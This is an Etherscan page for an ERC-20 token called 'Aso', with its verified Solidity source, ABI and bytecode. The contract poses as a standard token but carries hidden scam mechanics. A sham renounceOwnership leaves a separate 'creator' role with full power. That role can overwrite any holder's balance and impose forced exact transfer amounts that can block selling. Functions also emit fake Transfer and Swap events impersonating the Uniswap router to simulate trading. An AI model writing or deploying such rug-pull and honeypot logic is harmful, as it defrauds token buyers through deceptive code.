ETH Price: $3,801.30 (-1.97%)
Gas: 9 Gwei

Token

Aso (Aso)
 

Overview

Max Total Supply

10,000,000 Aso

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
12464.eth
Balance
65,559.976762513712298183 Aso

Value
$0.00
0xa0acdc35cc9658a5b38ae16b04295444f94886c1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-24
*/

pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract TOKEN is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "Aso";
    string public constant _ticker = "Aso";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca908290a350620000616012600a620001ee565b62000070906298968062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c2906298968062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b61120280620002306000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102b8578063cadc24b5146102c0578063d8fb9361146102e9578063dd62ed3e146102fc578063e03504af14610222578063e156b1b61461033557600080fd5b80638e32c0031461027757806395d89b4114610147578063a713fd531461028a578063a9059cbb14610292578063adacad8c146102a557600080fd5b806328226aa71161010a57806328226aa7146101d7578063313ce567146101fc578063416c3c9d146102115780635c01b60c1461022257806370a0823114610244578063715018a61461026d57600080fd5b806306fdde0314610147578063095ea7b31461017857806318160ddd1461019b5780631ae1ffbc146101b157806323b872dd146101c4575b600080fd5b60408051808201909152600381526241736f60e81b60208201525b60405161016f9190610bbd565b60405180910390f35b61018b610186366004610c27565b610348565b604051901515815260200161016f565b6101a36103b0565b60405190815260200161016f565b61018b6101bf366004610d89565b6103d0565b61018b6101d2366004610e33565b6105e7565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161016f565b60125b60405160ff909116815260200161016f565b6004546001600160a01b03166101e4565b6101626040518060400160405280600381526020016241736f60e81b81525081565b6101a3610252366004610e6f565b6001600160a01b031660009081526002602052604090205490565b6102756107a7565b005b610275610285366004610e6f565b610821565b6101ff601281565b61018b6102a0366004610c27565b61086d565b6102756102b3366004610e91565b6109af565b6101a3610a42565b6101a36102ce366004610e6f565b6001600160a01b031660009081526003602052604090205490565b6102756102f7366004610f0c565b610a5e565b6101a361030a366004610f51565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018b610343366004610e33565b610b88565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103be6012600a61107e565b6103cb906298968061108d565b905090565b6000805b85518110156105da578581815181106103ef576103ef6110a4565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111ad83398151915287848151811061042b5761042b6110a4565b602002602001015160405161044291815260200190565b60405180910390a385818151811061045c5761045c6110a4565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104be576104be6110a4565b60200260200101516000808987815181106104db576104db6110a4565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b6878381518110610529576105296110a4565b602002602001015189878581518110610544576105446110a4565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906110ba565b50806105d2816110dc565b9150506103d4565b5060019695505050505050565b6001600160a01b038316600090815260016020908152604080832033845290915281205482111561065f5760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106cd578083146106cd5760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610656565b6001600160a01b038516600090815260026020526040812080548592906106f59084906110f5565b90915550506001600160a01b03841660009081526002602052604081208054859290610722908490611108565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061075a9084906110f5565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111ad8339815191528560405161079491815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107d15760405162461bcd60e51b81526004016106569061111b565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461084b5760405162461bcd60e51b81526004016106569061111b565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108c35760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610656565b60006108ce336102ce565b90508015610925578083146109255760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610656565b33600090815260026020526040812080548592906109449084906110f5565b90915550506001600160a01b03841660009081526002602052604081208054859290610971908490611108565b90915550506040518381526001600160a01b0385169033906000805160206111ad833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109d95760405162461bcd60e51b815260040161065690611166565b60005b82811015610a3c5781600360008686858181106109fb576109fb6110a4565b9050602002016020810190610a109190610e6f565b6001600160a01b0316815260208101919091526040016000205580610a34816110dc565b9150506109dc565b50505050565b610a4e6012600a61107e565b610a5b906298968061108d565b81565b6004546001600160a01b03163314610a885760405162461bcd60e51b815260040161065690611166565b60005b8251811015610b83576000838281518110610aa857610aa86110a4565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b145760405162461bcd60e51b815260206004820152601960248201527f496e76616c6964206164647265737320737065636966696564000000000000006044820152606401610656565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b7b906110dc565b915050610a8b565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111ad8339815191528460405161099d91815260200190565b600060208083528351808285015260005b81811015610bea57858101830151858201604001528201610bce565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c2257600080fd5b919050565b60008060408385031215610c3a57600080fd5b610c4383610c0b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c9057610c90610c51565b604052919050565b600067ffffffffffffffff821115610cb257610cb2610c51565b5060051b60200190565b600082601f830112610ccd57600080fd5b81356020610ce2610cdd83610c98565b610c67565b82815260059290921b84018101918181019086841115610d0157600080fd5b8286015b84811015610d2357610d1681610c0b565b8352918301918301610d05565b509695505050505050565b600082601f830112610d3f57600080fd5b81356020610d4f610cdd83610c98565b82815260059290921b84018101918181019086841115610d6e57600080fd5b8286015b84811015610d235780358352918301918301610d72565b600080600080600060a08688031215610da157600080fd5b610daa86610c0b565b9450602086013567ffffffffffffffff80821115610dc757600080fd5b610dd389838a01610cbc565b95506040880135915080821115610de957600080fd5b610df589838a01610d2e565b94506060880135915080821115610e0b57600080fd5b50610e1888828901610d2e565b925050610e2760808701610c0b565b90509295509295909350565b600080600060608486031215610e4857600080fd5b610e5184610c0b565b9250610e5f60208501610c0b565b9150604084013590509250925092565b600060208284031215610e8157600080fd5b610e8a82610c0b565b9392505050565b600080600060408486031215610ea657600080fd5b833567ffffffffffffffff80821115610ebe57600080fd5b818601915086601f830112610ed257600080fd5b813581811115610ee157600080fd5b8760208260051b8501011115610ef657600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f1f57600080fd5b823567ffffffffffffffff811115610f3657600080fd5b610f4285828601610cbc565b95602094909401359450505050565b60008060408385031215610f6457600080fd5b610f6d83610c0b565b9150610f7b60208401610c0b565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd5578160001904821115610fbb57610fbb610f84565b80851615610fc857918102915b93841c9390800290610f9f565b509250929050565b600082610fec575060016103aa565b81610ff9575060006103aa565b816001811461100f576002811461101957611035565b60019150506103aa565b60ff84111561102a5761102a610f84565b50506001821b6103aa565b5060208310610133831016604e8410600b8410161715611058575081810a6103aa565b6110628383610f9a565b806000190482111561107657611076610f84565b029392505050565b6000610e8a60ff841683610fdd565b80820281158282048414176103aa576103aa610f84565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110cc57600080fd5b81518015158114610e8a57600080fd5b6000600182016110ee576110ee610f84565b5060010190565b818103818111156103aa576103aa610f84565b808201808211156103aa576103aa610f84565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122019407695f6b90043514c4affb33404d4e293c502cf9ed06720c7ac45f095221f64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102b8578063cadc24b5146102c0578063d8fb9361146102e9578063dd62ed3e146102fc578063e03504af14610222578063e156b1b61461033557600080fd5b80638e32c0031461027757806395d89b4114610147578063a713fd531461028a578063a9059cbb14610292578063adacad8c146102a557600080fd5b806328226aa71161010a57806328226aa7146101d7578063313ce567146101fc578063416c3c9d146102115780635c01b60c1461022257806370a0823114610244578063715018a61461026d57600080fd5b806306fdde0314610147578063095ea7b31461017857806318160ddd1461019b5780631ae1ffbc146101b157806323b872dd146101c4575b600080fd5b60408051808201909152600381526241736f60e81b60208201525b60405161016f9190610bbd565b60405180910390f35b61018b610186366004610c27565b610348565b604051901515815260200161016f565b6101a36103b0565b60405190815260200161016f565b61018b6101bf366004610d89565b6103d0565b61018b6101d2366004610e33565b6105e7565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161016f565b60125b60405160ff909116815260200161016f565b6004546001600160a01b03166101e4565b6101626040518060400160405280600381526020016241736f60e81b81525081565b6101a3610252366004610e6f565b6001600160a01b031660009081526002602052604090205490565b6102756107a7565b005b610275610285366004610e6f565b610821565b6101ff601281565b61018b6102a0366004610c27565b61086d565b6102756102b3366004610e91565b6109af565b6101a3610a42565b6101a36102ce366004610e6f565b6001600160a01b031660009081526003602052604090205490565b6102756102f7366004610f0c565b610a5e565b6101a361030a366004610f51565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018b610343366004610e33565b610b88565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103be6012600a61107e565b6103cb906298968061108d565b905090565b6000805b85518110156105da578581815181106103ef576103ef6110a4565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111ad83398151915287848151811061042b5761042b6110a4565b602002602001015160405161044291815260200190565b60405180910390a385818151811061045c5761045c6110a4565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104be576104be6110a4565b60200260200101516000808987815181106104db576104db6110a4565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b6878381518110610529576105296110a4565b602002602001015189878581518110610544576105446110a4565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906110ba565b50806105d2816110dc565b9150506103d4565b5060019695505050505050565b6001600160a01b038316600090815260016020908152604080832033845290915281205482111561065f5760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106cd578083146106cd5760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610656565b6001600160a01b038516600090815260026020526040812080548592906106f59084906110f5565b90915550506001600160a01b03841660009081526002602052604081208054859290610722908490611108565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061075a9084906110f5565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111ad8339815191528560405161079491815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107d15760405162461bcd60e51b81526004016106569061111b565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461084b5760405162461bcd60e51b81526004016106569061111b565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108c35760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610656565b60006108ce336102ce565b90508015610925578083146109255760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d617463686044820152606401610656565b33600090815260026020526040812080548592906109449084906110f5565b90915550506001600160a01b03841660009081526002602052604081208054859290610971908490611108565b90915550506040518381526001600160a01b0385169033906000805160206111ad833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109d95760405162461bcd60e51b815260040161065690611166565b60005b82811015610a3c5781600360008686858181106109fb576109fb6110a4565b9050602002016020810190610a109190610e6f565b6001600160a01b0316815260208101919091526040016000205580610a34816110dc565b9150506109dc565b50505050565b610a4e6012600a61107e565b610a5b906298968061108d565b81565b6004546001600160a01b03163314610a885760405162461bcd60e51b815260040161065690611166565b60005b8251811015610b83576000838281518110610aa857610aa86110a4565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b145760405162461bcd60e51b815260206004820152601960248201527f496e76616c6964206164647265737320737065636966696564000000000000006044820152606401610656565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b7b906110dc565b915050610a8b565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111ad8339815191528460405161099d91815260200190565b600060208083528351808285015260005b81811015610bea57858101830151858201604001528201610bce565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c2257600080fd5b919050565b60008060408385031215610c3a57600080fd5b610c4383610c0b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c9057610c90610c51565b604052919050565b600067ffffffffffffffff821115610cb257610cb2610c51565b5060051b60200190565b600082601f830112610ccd57600080fd5b81356020610ce2610cdd83610c98565b610c67565b82815260059290921b84018101918181019086841115610d0157600080fd5b8286015b84811015610d2357610d1681610c0b565b8352918301918301610d05565b509695505050505050565b600082601f830112610d3f57600080fd5b81356020610d4f610cdd83610c98565b82815260059290921b84018101918181019086841115610d6e57600080fd5b8286015b84811015610d235780358352918301918301610d72565b600080600080600060a08688031215610da157600080fd5b610daa86610c0b565b9450602086013567ffffffffffffffff80821115610dc757600080fd5b610dd389838a01610cbc565b95506040880135915080821115610de957600080fd5b610df589838a01610d2e565b94506060880135915080821115610e0b57600080fd5b50610e1888828901610d2e565b925050610e2760808701610c0b565b90509295509295909350565b600080600060608486031215610e4857600080fd5b610e5184610c0b565b9250610e5f60208501610c0b565b9150604084013590509250925092565b600060208284031215610e8157600080fd5b610e8a82610c0b565b9392505050565b600080600060408486031215610ea657600080fd5b833567ffffffffffffffff80821115610ebe57600080fd5b818601915086601f830112610ed257600080fd5b813581811115610ee157600080fd5b8760208260051b8501011115610ef657600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f1f57600080fd5b823567ffffffffffffffff811115610f3657600080fd5b610f4285828601610cbc565b95602094909401359450505050565b60008060408385031215610f6457600080fd5b610f6d83610c0b565b9150610f7b60208401610c0b565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd5578160001904821115610fbb57610fbb610f84565b80851615610fc857918102915b93841c9390800290610f9f565b509250929050565b600082610fec575060016103aa565b81610ff9575060006103aa565b816001811461100f576002811461101957611035565b60019150506103aa565b60ff84111561102a5761102a610f84565b50506001821b6103aa565b5060208310610133831016604e8410600b8410161715611058575081810a6103aa565b6110628383610f9a565b806000190482111561107657611076610f84565b029392505050565b6000610e8a60ff841683610fdd565b80820281158282048414176103aa576103aa610f84565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110cc57600080fd5b81518015158114610e8a57600080fd5b6000600182016110ee576110ee610f84565b5060010190565b818103818111156103aa576103aa610f84565b808201808211156103aa576103aa610f84565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122019407695f6b90043514c4affb33404d4e293c502cf9ed06720c7ac45f095221f64736f6c63430008120033

Deployed Bytecode Sourcemap

